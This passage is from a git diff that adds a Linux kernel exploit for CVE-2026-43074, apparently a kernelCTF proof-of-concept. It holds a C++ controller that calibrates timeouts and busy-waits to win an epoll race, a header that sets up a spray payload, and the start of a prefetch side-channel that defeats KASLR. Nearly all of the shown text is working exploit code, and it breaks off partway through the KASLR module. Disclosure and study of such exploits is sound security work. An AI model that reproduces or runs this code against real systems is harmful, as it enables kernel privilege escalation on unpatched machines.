settings_.adaptive_target_gap_ns / 2 && + new_parent_busy_wait_ns > DEFAULT_ADAPTIVE_PARENT_STEP_NS) { + new_parent_busy_wait_ns -= DEFAULT_ADAPTIVE_PARENT_STEP_NS; + } + + if (gap_ns > settings_.adaptive_target_gap_ns) { + new_parent_busy_wait_ns += (gap_ns - settings_.adaptive_target_gap_ns) / 4; + } + + if (new_parent_busy_wait_ns < 0) { + new_parent_busy_wait_ns = 0; + } + if (state.parent_wait_min_ns > 0 && new_parent_busy_wait_ns < state.parent_wait_min_ns) { + new_parent_busy_wait_ns = state.parent_wait_min_ns; + } + if (state.parent_wait_max_ns > 0 && new_parent_busy_wait_ns > state.parent_wait_max_ns) { + new_parent_busy_wait_ns = state.parent_wait_max_ns; + } + + state.current_parent_busy_wait_ns = new_parent_busy_wait_ns; + + fprintf(stderr, + "[epoll:%s] adaptive window=%lu close_med_ns=%ld" + " first_add_med_ns=%ld baseline_first_add_med_ns=%ld" + " first_add_delay_ns=%ld gap_ns=%ld next_parent_busy_wait_ns=%ld" + "\n", + label, window_index, close_ns, first_add_ns, baseline_first_add_med_ns, delay_ns, + gap_ns, state.current_parent_busy_wait_ns); +} + +void EpollRatcController::print_epoll_reports(const char* label, + const EpollPhaseConfig& config, + const EpollPhaseRunStats& run_stats, + const PhaseSchedule& schedule, + bool adaptive_ratc, + bool analyze) { + const MillisecondSplit duration_ms = MonotonicClock::split_ms(run_stats.duration_ns); + + if (!analyze) { + fprintf(stderr, "[epoll:%s] duration_ms=%lu.%03lu rounds=%lu rounds_done=%lu timeout=%d\n", + label, duration_ms.whole, duration_ms.fraction, config.total_rounds, + run_stats.rounds_done, run_stats.round_timeout_triggered != 0); + if (run_stats.round_timeout_triggered) { + fprintf(stderr, "[epoll:%s] stopping early because the window exceeded %u seconds\n", + label, DEFAULT_PHASE_ROUND_TIMEOUT_SEC); + } + return; + } + + fprintf(stderr, "[epoll:%s] parent_close:%ld first_add:[%ld,%ld] all_end:%ld\n", label, + filtered_median_ns(run_stats.parent_close_offset_ns), + filtered_median_ns(run_stats.first_add_start_offset_ns), + filtered_median_ns(run_stats.first_add_finish_offset_ns), + filtered_median_ns(run_stats.all_add_finish_offset_ns)); + + fprintf(stderr, + "[epoll:%s] duration_ms=%lu.%03lu rounds=%lu rounds_done=%lu timeout_ns=[%ld,%ld]" + " parent_busy_wait_ns=[%ld,%ld] use_ratc=%d adaptive_ratc=%d\n", + label, duration_ms.whole, duration_ms.fraction, config.total_rounds, + run_stats.rounds_done, schedule.timeouts->front(), schedule.timeouts->back(), + schedule.parent_busy_wait_ns, schedule.parent_busy_wait_ns, + schedule.ratc_runtime != nullptr, adaptive_ratc); + + if (run_stats.round_timeout_triggered) { + fprintf(stderr, "[epoll:%s] stopping early because the window exceeded %u seconds\n", label, + DEFAULT_PHASE_ROUND_TIMEOUT_SEC); + } +} + +void EpollRatcController::run_phase(std::string_view label, const EpollPhaseRequest& request) { + AdaptiveState state = adaptive_state_; + EpollPhaseConfig current = make_phase_config(request.total_rounds); + EpollPhaseConfig calibration = current; + std::vector current_timeouts = make_timeout_schedule( + settings_.timeout_min_ns, settings_.timeout_max_ns, settings_.timeout_step_ns); + std::vector calibration_timeouts = current_timeouts; + EpollPhaseRunStats run_stats; + EpollPhaseRunStats baseline_stats; + EpollPhaseRunStats last_successful_stats; + bool have_last_successful_stats = false; + uint64_t phase_total_rounds = request.total_rounds; + uint64_t rounds_remaining = phase_total_rounds; + uint64_t window_index = 0; + int64_t baseline_first_add_med_ns = state.baseline_first_add_med_ns; + std::string phase_label(label); + + auto schedule_for = [&](const std::vector& timeouts, int64_t parent_busy_wait_ns, + bool arm_ratc) { + return PhaseSchedule{ + .timeouts = &timeouts, + .parent_busy_wait_ns = parent_busy_wait_ns, + .ratc_runtime = arm_ratc ? &ratc_runtime_ : nullptr, + }; + }; + auto execute_window = [&](const EpollPhaseConfig& config, const PhaseSchedule& schedule, + EpollPhaseRunStats& stats) { + EpollPhaseHooks hooks = make_phase_hooks(schedule); + + fprintf( + stderr, + "[epoll:%s] window args rounds=%lu tries=%zu spray_fill=%d ratc_timeout_ns=[%ld,%ld]" + " parent_busy_wait_ns=[%ld,%ld] use_ratc=%d adaptive_ratc=%d\n", + phase_label.c_str(), config.total_rounds, config.tries, config.skip_spray_fill ? 0 : 1, + schedule.timeouts->front(), schedule.timeouts->back(), schedule.parent_busy_wait_ns, + schedule.parent_busy_wait_ns, schedule.ratc_runtime != nullptr, + settings_.adaptive_ratc); + phase_runner_.run_window(phase_label.c_str(), config, hooks, stats); + print_epoll_reports(phase_label.c_str(), config, stats, schedule, settings_.adaptive_ratc, + request.analyze); + }; + + if (!settings_.adaptive_ratc || !use_ratc() || request.total_rounds == 0) { + PhaseSchedule schedule = schedule_for( + current_timeouts, use_ratc() ? settings_.parent_busy_wait_ns : 0, use_ratc()); + + execute_window(current, schedule, run_stats); + adaptive_state_ = state; + return; + } + + set_fixed_timeout(current_timeouts, current_timeouts.front()); + set_fixed_timeout(calibration_timeouts, calibration_timeouts.front()); + + if (!state.calibrated) { + int64_t first_add_ns; + int64_t first_add_finish_ns; + int64_t initial_delay_ns; + int64_t target_timeout_ns; + int64_t plateau_timeout_ns = 0; + int64_t previous_first_add_ns = 0; + int64_t acceptable_delay_ns = 0; + int64_t low_timeout_ns = current_timeouts.front(); + int64_t high_timeout_ns = 0; + + calibration.total_rounds = settings_.adaptive_calibration_rounds; + calibration.skip_spray_fill = true; + prepare_analysis_window(calibration_timeouts); + + execute_window(calibration, schedule_for(calibration_timeouts, 0, false), baseline_stats); + baseline_first_add_med_ns = first_add_med_ns(baseline_stats); + state.baseline_first_add_med_ns = baseline_first_add_med_ns; + + fprintf(stderr, "[epoll:%s] adaptive baseline first_add_med_ns=%ld rounds=%lu use_ratc=0\n", + phase_label.c_str(), baseline_first_add_med_ns, calibration.total_rounds); + + calibration = current; + calibration_timeouts = current_timeouts; + calibration.total_rounds = settings_.adaptive_calibration_rounds; + calibration.skip_spray_fill = true; + prepare_analysis_window(calibration_timeouts); + execute_window(calibration, schedule_for(calibration_timeouts, 0, true), run_stats); + + if (!run_stats.adder_normal_exit) { + preserve_successful_phase_state(state, run_stats, calibration_timeouts.front(), + baseline_first_add_med_ns); + fprintf(stderr, + "[epoll:%s] adder did not exit normally during timeout calibration; " + "preserving timeout_ns=%ld and ending phase early\n", + phase_label.c_str(), calibration_timeouts.front()); + adaptive_state_ = state; + return; + } + + if (run_stats.rounds_done == 0) { + adaptive_state_ = state; + return; + } + + have_last_successful_stats = true; + last_successful_stats = run_stats; + first_add_ns = first_add_med_ns(run_stats); + first_add_finish_ns = first_add_finish_med_ns(run_stats); + initial_delay_ns = first_add_delay_ns(run_stats, baseline_first_add_med_ns); + target_timeout_ns = first_add_finish_ns / DEFAULT_ADAPTIVE_TIMEOUT_START_DIVISOR; + if (target_timeout_ns < calibration_timeouts.front()) { + target_timeout_ns = calibration_timeouts.front(); + } + previous_first_add_ns = first_add_ns; + + set_fixed_timeout(calibration_timeouts, target_timeout_ns); + for (;;) { + int64_t current_drop_pct = 0; + + execute_window(calibration, schedule_for(calibration_timeouts, 0, true), run_stats); + if (run_stats.rounds_done == 0) { + break; + } + if (!run_stats.adder_normal_exit) { + preserve_successful_phase_state(state, run_stats, calibration_timeouts.front(), + baseline_first_add_med_ns); + fprintf(stderr, + "[epoll:%s] adder did not exit normally during timeout search; " + "preserving timeout_ns=%ld and ending phase early\n", + phase_label.c_str(), calibration_timeouts.front()); + adaptive_state_ = state; + return; + } + + have_last_successful_stats = true; + last_successful_stats = run_stats; + first_add_ns = first_add_med_ns(run_stats); + if (previous_first_add_ns > 0 && first_add_ns > 0 && + previous_first_add_ns > first_add_ns) { + current_drop_pct = + ((previous_first_add_ns - first_add_ns) * 100LL) / previous_first_add_ns; + } + + fprintf(stderr, + "[epoll:%s] adaptive timeout-search timeout_ns=%ld first_add_med_ns=%ld " + "drop_pct=%ld\n", + phase_label.c_str(), calibration_timeouts.front(), first_add_ns, + current_drop_pct); + + if (previous_first_add_ns > 0 && + current_drop_pct <= DEFAULT_ADAPTIVE_CALIBRATION_PLATEAU_PCT && + calibration_timeouts.front() >= first_add_ns) { + int64_t timeout_guard_ns; + int64_t guarded_timeout_ns; + + plateau_timeout_ns = calibration_timeouts.front(); + timeout_guard_ns = timeout_after_first_add_guard_ns(first_add_ns); + guarded_timeout_ns = first_add_ns + timeout_guard_ns; + if (plateau_timeout_ns < guarded_timeout_ns) { + fprintf(stderr, + "[epoll:%s] adaptive timeout plateau adjusted timeout_ns=%ld " + "stable_first_add_start_ns=%ld guard_ns=%ld adjusted_timeout_ns=%ld\n", + phase_label.c_str(), plateau_timeout_ns, first_add_ns, timeout_guard_ns, + guarded_timeout_ns); + plateau_timeout_ns = guarded_timeout_ns; + set_fixed_timeout(calibration_timeouts, plateau_timeout_ns); + } + acceptable_delay_ns = + (initial_delay_ns * DEFAULT_ADAPTIVE_TIMEOUT_BACKTRACK_LIMIT_PCT) / 100LL; + if (acceptable_delay_ns <= 0) { + acceptable_delay_ns = initial_delay_ns / 2; + } + high_timeout_ns = plateau_timeout_ns; + low_timeout_ns = first_add_ns; + if (low_timeout_ns < DEFAULT_ADAPTIVE_TIMEOUT_EARLIER_STEP_NS) { + low_timeout_ns = DEFAULT_ADAPTIVE_TIMEOUT_EARLIER_STEP_NS; + } + if (low_timeout_ns >= high_timeout_ns) { + low_timeout_ns = high_timeout_ns; + } + state.timeout_good_ns = plateau_timeout_ns; + state.good_first_add_med_ns = first_add_ns; + state.initial_first_add_delay_ns = initial_delay_ns; + fprintf(stderr, + "[epoll:%s] adaptive timeout plateau timeout_ns=%ld " + "stable_first_add_start_ns=%ld " + "bisect_range=[%ld,%ld]\n", + phase_label.c_str(), plateau_timeout_ns, first_add_ns, low_timeout_ns, + high_timeout_ns); + + if (!state.ratc_rescaled_once) { + uint64_t next_scale_pct; + + if (should_rescale_ratc(first_add_ns, &next_scale_pct)) { + EpollPhaseRunStats confirm_stats; + uint64_t confirmed_scale_pct = next_scale_pct; + int64_t confirmed_first_add_ns = 0; + bool rescale_confirmed = false; + + execute_window(calibration, schedule_for(calibration_timeouts, 0, true), + confirm_stats); + if (confirm_stats.rounds_done > 0 && confirm_stats.adder_normal_exit) { + confirmed_first_add_ns = first_add_med_ns(confirm_stats); + rescale_confirmed = + should_rescale_ratc(confirmed_first_add_ns, &confirmed_scale_pct) && + confirmed_first_add_ns * 100LL >= + first_add_ns * k_ratc_adaptive_rescale_confirm_pct; + } + + if (!rescale_confirmed) { + fprintf( + stderr, + "[epoll:%s] adaptive RATC rescale skipped after confirmation " + "stable_first_add_start_ns=%ld confirmed_first_add_start_ns=%ld " + "min_confirm_pct=%ld\n", + phase_label.c_str(), first_add_ns, confirmed_first_add_ns, + k_ratc_adaptive_rescale_confirm_pct); + } else { + next_scale_pct = confirmed_scale_pct; + ratc_runtime_.cleanup(); + ratc_runtime_.set_scale(next_scale_pct); + fprintf(stderr, + "[epoll:%s] adaptive RATC rescale " + "stable_first_add_start_ns=%ld next_scale_pct=%lu" + " fork_count=%d dup_count=%d epoll_count=%d\n", + phase_label.c_str(), confirmed_first_add_ns, next_scale_pct, + ratc_runtime_.active_fork_count(), + ratc_runtime_.active_dup_count(), + ratc_runtime_.active_epoll_count()); + ratc_runtime_.setup(); + + state.ratc_rescaled_once = true; + state.calibrated = false; + state.timeout_good_ns = current_timeouts.front(); + state.timeout_bad_ns = 0; + state.good_first_add_med_ns = 0; + state.initial_first_add_delay_ns = 0; + state.parent_initialized = false; + state.parent_wait_min_ns = 0; + state.parent_wait_max_ns = 0; + state.parent_wait_outer_max_ns = 0; + state.parent_wait_step_ns = 0; + state.current_parent_busy_wait_ns = 0; + adaptive_state_ = state; + run_phase(label, request); + return; + } + } + } + break; + } + + if (previous_first_add_ns > 0 && + current_drop_pct <= DEFAULT_ADAPTIVE_CALIBRATION_PLATEAU_PCT && + calibration_timeouts.front() < first_add_ns) { + fprintf(stderr, + "[epoll:%s] adaptive timeout-search timeout_ns=%ld still below " + "stable_first_add_start_ns=%ld, keep growing\n", + phase_label.c_str(), calibration_timeouts.front(), first_add_ns); + } + + previous_first_add_ns = first_add_ns; + set_fixed_timeout( + calibration_timeouts, + calibration_timeouts.front() + + ((calibration_timeouts.front() * DEFAULT_ADAPTIVE_TIMEOUT_GROWTH_PCT) / 100LL)); + } + + if (state.timeout_good_ns > 0) { + int64_t bisect_range_ns = high_timeout_ns - low_timeout_ns; + int64_t bisect_range_pct = + high_timeout_ns > 0 ? (bisect_range_ns * 100LL) / high_timeout_ns : 0; + + if (bisect_range_pct <= DEFAULT_ADAPTIVE_TIMEOUT_SKIP_BISECT_RANGE_PCT) { + fprintf(stderr, + "[epoll:%s] skipping timeout bisect range_pct=%ld range_ns=%ld " + "high_timeout_ns=%ld low_timeout_ns=%ld\n", + phase_label.c_str(), bisect_range_pct, bisect_range_ns, high_timeout_ns, + low_timeout_ns); + } else { + for (uint64_t step = 0; + step < DEFAULT_ADAPTIVE_TIMEOUT_BINARY_SEARCH_STEPS && + high_timeout_ns - low_timeout_ns > DEFAULT_ADAPTIVE_TIMEOUT_EARLIER_STEP_NS; + ++step) { + int64_t mid_timeout_ns = + low_timeout_ns + ((high_timeout_ns - low_timeout_ns) / 2); + int64_t mid_delay_ns; + + set_fixed_timeout(calibration_timeouts, mid_timeout_ns); + execute_window(calibration, schedule_for(calibration_timeouts, 0, true), + run_stats); + if (run_stats.rounds_done == 0) { + break; + } + if (!run_stats.adder_normal_exit) { + preserve_successful_phase_state(state, run_stats, mid_timeout_ns, + baseline_first_add_med_ns); + fprintf(stderr, + "[epoll:%s] adder did not exit normally during timeout bisect; " + "preserving timeout_ns=%ld and ending phase early\n", + phase_label.c_str(), mid_timeout_ns); + adaptive_state_ = state; + return; + } + + have_last_successful_stats = true; + last_successful_stats = run_stats; + first_add_ns = first_add_med_ns(run_stats); + mid_delay_ns = first_add_delay_ns(run_stats, baseline_first_add_med_ns); + + if (mid_delay_ns <= acceptable_delay_ns) { + high_timeout_ns = mid_timeout_ns; + state.timeout_good_ns = mid_timeout_ns; + state.good_first_add_med_ns = first_add_ns; + } else { + low_timeout_ns = mid_timeout_ns; + state.timeout_bad_ns = mid_timeout_ns; + } + + fprintf(stderr, + "[epoll:%s] adaptive timeout-bisect timeout_ns=%ld " + "first_add_delay_ns=%ld acceptable_delay_ns=%ld\n", + phase_label.c_str(), mid_timeout_ns, mid_delay_ns, acceptable_delay_ns); + } + } + + state.calibrated = true; + } + + if (state.calibrated && !state.parent_initialized && have_last_successful_stats) { + int64_t base_first_add_ns = state.good_first_add_med_ns; + int64_t base_gap_ns = base_first_add_ns - parent_close_med_ns(last_successful_stats); + + state.parent_wait_min_ns = base_first_add_ns / 2; + state.parent_wait_max_ns = (base_first_add_ns * 3) / 2; + state.parent_wait_outer_max_ns = state.parent_wait_max_ns; + if (base_gap_ns > 0) { + int64_t outer_cap_ns = base_gap_ns * 3; + if (outer_cap_ns > state.parent_wait_outer_max_ns) { + state.parent_wait_outer_max_ns = outer_cap_ns; + } + } + state.parent_wait_step_ns = (state.parent_wait_max_ns - state.parent_wait_min_ns) / + DEFAULT_ADAPTIVE_PARENT_SWEEP_STEPS; + if (state.parent_wait_step_ns <= 0) { + state.parent_wait_step_ns = DEFAULT_ADAPTIVE_PARENT_STEP_NS; + } + state.current_parent_busy_wait_ns = state.parent_wait_min_ns; + state.parent_initialized = true; + + fprintf( + stderr, + "[epoll:%s] adaptive timeout calibrated timeout_ns=%ld parent_wait_range=[%ld,%ld]" + " outer_max=%ld step=%ld\n", + phase_label.c_str(), state.timeout_good_ns, state.parent_wait_min_ns, + state.parent_wait_max_ns, state.parent_wait_outer_max_ns, + state.parent_wait_step_ns); + } + } + + current = make_phase_config(phase_total_rounds); + current_timeouts = make_timeout_schedule(settings_.timeout_min_ns, settings_.timeout_max_ns, + settings_.timeout_step_ns); + + while (rounds_remaining > 0) { + uint64_t window_rounds = settings_.adaptive_window_rounds; + int64_t first_add_ns; + int64_t first_add_finish_ns; + int64_t delay_ns; + int64_t good_growth_pct = 0; + bool regressed_too_far = false; + int64_t timeout_center_ns = + state.timeout_good_ns > 0 ? state.timeout_good_ns : current_timeouts.front(); + int64_t next_timeout_center_ns = timeout_center_ns; + int64_t raw_timeout_target_ns = 0; + int64_t timeout_target_ns = 0; + int64_t timeout_delta_ns = + (timeout_center_ns * DEFAULT_ADAPTIVE_TIMEOUT_RACE_RANGE_PCT) / 100LL; + + if (window_rounds == 0 || window_rounds > rounds_remaining) { + window_rounds = rounds_remaining; + } + + current.total_rounds = window_rounds; + current.skip_spray_fill = false; + set_timeout_window(current_timeouts, timeout_center_ns, timeout_delta_ns); + execute_window(current, + schedule_for(current_timeouts, state.current_parent_busy_wait_ns, true), + run_stats); + + if (!run_stats.adder_normal_exit) { + preserve_successful_phase_state(state, run_stats, timeout_center_ns, + baseline_first_add_med_ns); + fprintf(stderr, + "[epoll:%s] adder did not exit normally; preserving current params " + "(timeout_center_ns=%ld parent_busy_wait_ns=%ld" + ") and ending phase early\n", + phase_label.c_str(), timeout_center_ns, state.current_parent_busy_wait_ns); + adaptive_state_ = state; + return; + } + + if (run_stats.rounds_done == 0) { + break; + } + if (run_stats.rounds_done >= rounds_remaining) { + rounds_remaining = 0; + } else { + rounds_remaining -= run_stats.rounds_done; + } + + if (run_stats.adder_normal_exit) { + fprintf( + stderr, + "[epoll:%s] adaptive race window exited normally; timeout center will be adjusted " + "conservatively\n", + phase_label.c_str()); + if (state.parent_initialized && + state.current_parent_busy_wait_ns >= state.parent_wait_max_ns && + state.parent_wait_outer_max_ns > state.parent_wait_max_ns) { + state.parent_wait_max_ns = state.parent_wait_outer_max_ns; + state.parent_wait_step_ns = (state.parent_wait_max_ns - state.parent_wait_min_ns) / + DEFAULT_ADAPTIVE_PARENT_SWEEP_STEPS; + if (state.parent_wait_step_ns <= 0) { + state.parent_wait_step_ns = DEFAULT_ADAPTIVE_PARENT_STEP_NS; + } + fprintf(stderr, "[epoll:%s] adaptive parent range expanded to [%ld,%ld] step=%ld\n", + phase_label.c_str(), state.parent_wait_min_ns, state.parent_wait_max_ns, + state.parent_wait_step_ns); + } + } + + window_index++; + if (run_stats.round_timeout_triggered) { + break; + } + + first_add_ns = first_add_med_ns(run_stats); + first_add_finish_ns = first_add_finish_med_ns(run_stats); + delay_ns = first_add_delay_ns(run_stats, baseline_first_add_med_ns); + raw_timeout_target_ns = timeout_target_in_syscall_ns(run_stats); + timeout_target_ns = timeout_with_first_add_guard(raw_timeout_target_ns, first_add_ns); + if (state.good_first_add_med_ns > 0 && first_add_ns > 0 && + first_add_ns > state.good_first_add_med_ns) { + good_growth_pct = ((first_add_ns - state.good_first_add_med_ns) * 100LL) / + state.good_first_add_med_ns; + regressed_too_far = good_growth_pct > DEFAULT_ADAPTIVE_CALIBRATION_PLATEAU_PCT; + } + + if (regressed_too_far) { + state.timeout_bad_ns = timeout_center_ns; + if (timeout_target_ns > 0 && timeout_target_ns < timeout_center_ns) { + next_timeout_center_ns = timeout_target_ns; + } else if (state.timeout_good_ns > state.timeout_bad_ns) { + next_timeout_center_ns = + state.timeout_bad_ns + ((state.timeout_good_ns - state.timeout_bad_ns) / 2); + } else { + next_timeout_center_ns = + first_add_finish_ns > 0 ? first_add_finish_ns : first_add_ns; + if (next_timeout_center_ns <= 0) { + next_timeout_center_ns = timeout_center_ns; + } + } + next_timeout_center_ns = limit_timeout_step(timeout_center_ns, next_timeout_center_ns); + fprintf( + stderr, + "[epoll:%s] adaptive window=%lu first_add_delay_ns=%ld good_growth_pct=%ld " + "too high, recover timeout_ns=%ld target_in_syscall_ns=%ld guarded_target_ns=%ld " + "good_timeout_ns=%ld bad_timeout_ns=%ld\n", + phase_label.c_str(), window_index, delay_ns, good_growth_pct, + next_timeout_center_ns, raw_timeout_target_ns, timeout_target_ns, + state.timeout_good_ns, state.timeout_bad_ns); + state.timeout_good_ns = next_timeout_center_ns; + continue; + } + + state.timeout_good_ns = timeout_center_ns; + state.good_first_add_med_ns = first_add_ns; + if (timeout_target_ns > 0) { + next_timeout_center_ns = timeout_target_ns; + } else if (next_timeout_center_ns <= 0) { + next_timeout_center_ns = timeout_center_ns; + } + next_timeout_center_ns = limit_timeout_step(timeout_center_ns, next_timeout_center_ns); + state.timeout_good_ns = next_timeout_center_ns; + if (state.parent_initialized) { + state.current_parent_busy_wait_ns += state.parent_wait_step_ns; + if (state.current_parent_busy_wait_ns > state.parent_wait_max_ns) { + state.current_parent_busy_wait_ns = state.parent_wait_min_ns; + } + } + fprintf(stderr, + "[epoll:%s] adaptive window=%lu first_add_delay_ns=%ld good_growth_pct=%ld " + "still normal, next probe timeout_ns=%ld target_in_syscall_ns=%ld " + "guarded_target_ns=%ld " + "start_ns=%ld finish_ns=%ld good_timeout_ns=%ld bad_timeout_ns=%ld\n", + phase_label.c_str(), window_index, delay_ns, good_growth_pct, + next_timeout_center_ns, raw_timeout_target_ns, timeout_target_ns, first_add_ns, + first_add_finish_ns, state.timeout_good_ns, state.timeout_bad_ns); + adjust_parent_gap(state, run_stats, phase_label.c_str(), window_index, + baseline_first_add_med_ns); + } + + adaptive_state_ = state; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.h new file mode 100644 index 000000000..7d3d0b834 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.h @@ -0,0 +1,120 @@ +#ifndef EXPLOIT_EPOLL_RATC_H +#define EXPLOIT_EPOLL_RATC_H + +#include "epoll_phase.h" +#include "module_context.h" +#include "ratc_runtime.h" + +#include +#include +#include + +#define DEFAULT_ADAPTIVE_CALIBRATION_ROUNDS 1000UL +#define DEFAULT_ADAPTIVE_TARGET_GAP_NS 3500L + +struct EpollRatcSettings { + int64_t timeout_min_ns = DEFAULT_EPOLL_MIN_NS; + int64_t timeout_max_ns = DEFAULT_EPOLL_MAX_NS; + int64_t timeout_step_ns = DEFAULT_EPOLL_STEP_NS; + int64_t parent_busy_wait_ns = DEFAULT_PARENT_BUSY_WAIT_NS; + int32_t use_ratc = DEFAULT_USE_RATC; + size_t tries = DEFAULT_TRIES; + bool adaptive_ratc = DEFAULT_ADAPTIVE_RATC != 0; + uint64_t adaptive_window_rounds = DEFAULT_ADAPTIVE_WINDOW_ROUNDS; + uint64_t adaptive_calibration_rounds = DEFAULT_ADAPTIVE_CALIBRATION_ROUNDS; + int64_t adaptive_target_gap_ns = DEFAULT_ADAPTIVE_TARGET_GAP_NS; +}; + +struct EpollPhaseRequest { + uint64_t total_rounds = 0; + bool analyze = false; +}; + +class EpollRatcController { + public: + explicit EpollRatcController(EpollRatcSettings settings); + ~EpollRatcController(); + + EpollRatcController(const EpollRatcController&) = delete; + EpollRatcController& operator=(const EpollRatcController&) = delete; + EpollRatcController(EpollRatcController&&) = delete; + EpollRatcController& operator=(EpollRatcController&&) = delete; + + void initialize_spray_payload(size_t address); + void setup_runtime(); + void run_phase(std::string_view label, const EpollPhaseRequest& request); + + bool use_ratc() const; + + private: + struct PhaseSchedule { + const std::vector* timeouts = nullptr; + int64_t parent_busy_wait_ns = 0; + RatcRuntime* ratc_runtime = nullptr; + }; + + struct AdaptiveState { + bool calibrated = false; + int64_t baseline_first_add_med_ns = 0; + int64_t timeout_good_ns = 0; + int64_t timeout_bad_ns = 0; + int64_t good_first_add_med_ns = 0; + int64_t initial_first_add_delay_ns = 0; + bool ratc_rescaled_once = false; + bool parent_initialized = false; + int64_t parent_wait_min_ns = 0; + int64_t parent_wait_max_ns = 0; + int64_t parent_wait_outer_max_ns = 0; + int64_t parent_wait_step_ns = 0; + int64_t current_parent_busy_wait_ns = 0; + }; + + EpollPhaseConfig make_phase_config(uint64_t total_rounds) const; + static std::vector make_timeout_schedule(int64_t timeout_min_ns, + int64_t timeout_max_ns, + int64_t timeout_step_ns); + static int64_t timeout_for_round(const std::vector& timeouts, uint64_t round); + static EpollPhaseHooks make_phase_hooks(const PhaseSchedule& schedule); + static void set_fixed_timeout(std::vector& timeouts, int64_t timeout_ns); + static void set_timeout_window(std::vector& timeouts, + int64_t timeout_center_ns, + int64_t timeout_delta_ns); + static void prepare_analysis_window(std::vector& timeouts); + void preserve_successful_phase_state(AdaptiveState& state, + const EpollPhaseRunStats& run_stats, + int64_t timeout_center_ns, + int64_t baseline_first_add_med_ns) const; + void adjust_parent_gap(AdaptiveState& state, + const EpollPhaseRunStats& run_stats, + const char* label, + uint64_t window_index, + int64_t baseline_first_add_med_ns) const; + static void print_epoll_reports(const char* label, + const EpollPhaseConfig& config, + const EpollPhaseRunStats& run_stats, + const PhaseSchedule& schedule, + bool adaptive_ratc, + bool analyze); + static int64_t filtered_median_ns(const EpollSamples& samples); + static int64_t filtered_average_ns(const EpollSamples& samples); + static int64_t first_add_med_ns(const EpollPhaseRunStats& run_stats); + static int64_t first_add_finish_med_ns(const EpollPhaseRunStats& run_stats); + static int64_t all_add_finish_med_ns(const EpollPhaseRunStats& run_stats); + static int64_t parent_close_med_ns(const EpollPhaseRunStats& run_stats); + static int64_t first_add_delay_ns(const EpollPhaseRunStats& run_stats, + int64_t baseline_first_add_med_ns); + static int64_t timeout_target_in_syscall_ns(const EpollPhaseRunStats& run_stats); + static bool should_rescale_ratc(int64_t stable_first_add_start_ns, + uint64_t* next_scale_pct_out); + static int64_t timeout_after_first_add_guard_ns(int64_t first_add_start_ns); + static int64_t timeout_with_first_add_guard(int64_t timeout_target_ns, + int64_t first_add_start_ns); + static int64_t limit_timeout_step(int64_t current_timeout_ns, int64_t target_timeout_ns); + + EpollRatcSettings settings_{}; + AdaptiveState adaptive_state_{}; + RatcRuntime ratc_runtime_{}; + EpollPhaseRunner phase_runner_{}; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.cpp new file mode 100644 index 000000000..e3ecb68b8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/kaslr_prefetch.cpp @@ -0,0 +1,570 @@ +#include "kaslr_prefetch.h" +#include + +#include "module_context.h" +#include "shared_core.h" + +#include +#include +#include +#include +#include +#include +#include + +static uint64_t measure_prefetch_latency(uint64_t address); + +namespace { + +constexpr size_t kMaxKernelSlotCount = + (KaslrOffsetResolver::kDefaultScanEnd - KaslrOffsetResolver::kDefaultScanStart) / + KaslrOffsetResolver::kDefaultSlotStride; +constexpr size_t kWarmupIterations = 2; +constexpr size_t kMeasureIterations = 20; +constexpr size_t kMeasureMinCleanSamples = 14; +constexpr size_t kPrefetchOutlierRatio = 3; +constexpr size_t kAnalyzeRounds = 90; +constexpr size_t kAnalyzeValidRounds = 30; +constexpr uint32_t kCpuidLeafVendor = 0; +constexpr uint32_t kCpuidLeafBasicInfo = 1; +constexpr uint32_t kCpuidLeafExtendedBase = 0x80000000u; +constexpr uint32_t kCpuidLeafBrandStringStart = 0x80000002u; +constexpr uint32_t kCpuidLeafBrandStringEnd = 0x80000004u; +constexpr int kCpuidBrandLeafCount = 3; + +/* + * KASLR prefetch analysis is intentionally a small pipeline: + * + * 1. Measure each candidate kernel slot for a fixed number of rounds. + * 2. Reduce each slot to one representative latency by taking the average after + * dropping high-latency outliers. If too many samples are outliers, drop the round. + * 3. Build a per-round edge profile from those representative slot latencies: + * global median/baseline, low/base/high bands, residual outliers, and edges. + * 4. Match CPU-specific band patterns on trusted rounds and vote on the winning + * offset. + */ + +enum class CpuType { + Unknown, + AmdFamily25, + AmdFamily26, + IntelGeneric, +}; + +bool cpu_type_is_supported(CpuType cpu_type) { + return cpu_type == CpuType::AmdFamily25 || cpu_type == CpuType::IntelGeneric; +} + +enum class KernelEdgeDirection { + None = 0, + Rise, + Fall, +}; + +struct KernelEdgeConfig { + double low_ratio; + double high_ratio; + double edge_delta_ratio; + double outlier_ratio; +}; + +struct KernelEdgeProfile { + size_t slot_count = 0; + double baseline = 0.0; + uint64_t median = 0; + std::array ratios{}; + std::array bands{}; + std::array edges{}; + std::array edge_delta_ratios{}; + std::array outliers{}; +}; + +struct KernelPattern { + std::string_view text; + + [[nodiscard]] std::optional find(const KernelEdgeProfile& profile) const { + for (size_t start_slot = 0; start_slot + text.size() <= profile.slot_count; ++start_slot) { + if (matches(profile, start_slot)) { + return start_slot; + } + } + + return std::nullopt; + } + + private: + [[nodiscard]] static bool char_matches(char band, char pattern_char) { + if (band == '!') { + return false; + } + + switch (pattern_char) { + case '?': + return true; + case 'n': + return band != 'l'; + case 'N': + return band != 'h'; + default: + return band == pattern_char; + } + } + + [[nodiscard]] bool matches(const KernelEdgeProfile& profile, size_t start_slot) const { + if (start_slot + text.size() > profile.slot_count) { + return false; + } + + for (size_t index = 0; index < text.size(); ++index) { + if (!char_matches(profile.bands[start_slot + index], text[index])) { + return false; + } + } + + return true; + } +}; + +constexpr KernelPattern kAmdFamily25KernelPattern{.text = "?h?hhN"}; +constexpr KernelPattern kIntelGenericKernelPattern{.text = "lnlnlnb"}; + +class LatencySamples { + public: + std::span measure(std::span addresses) { + sched_yield(); + + const auto slots = addresses.size(); + + for (size_t iteration = 0; iteration < kWarmupIterations; ++iteration) { + for (size_t slot = 0; slot < slots; ++slot) { + measure_prefetch_latency(addresses[slot]); + } + } + + for (size_t iteration = 0; iteration < 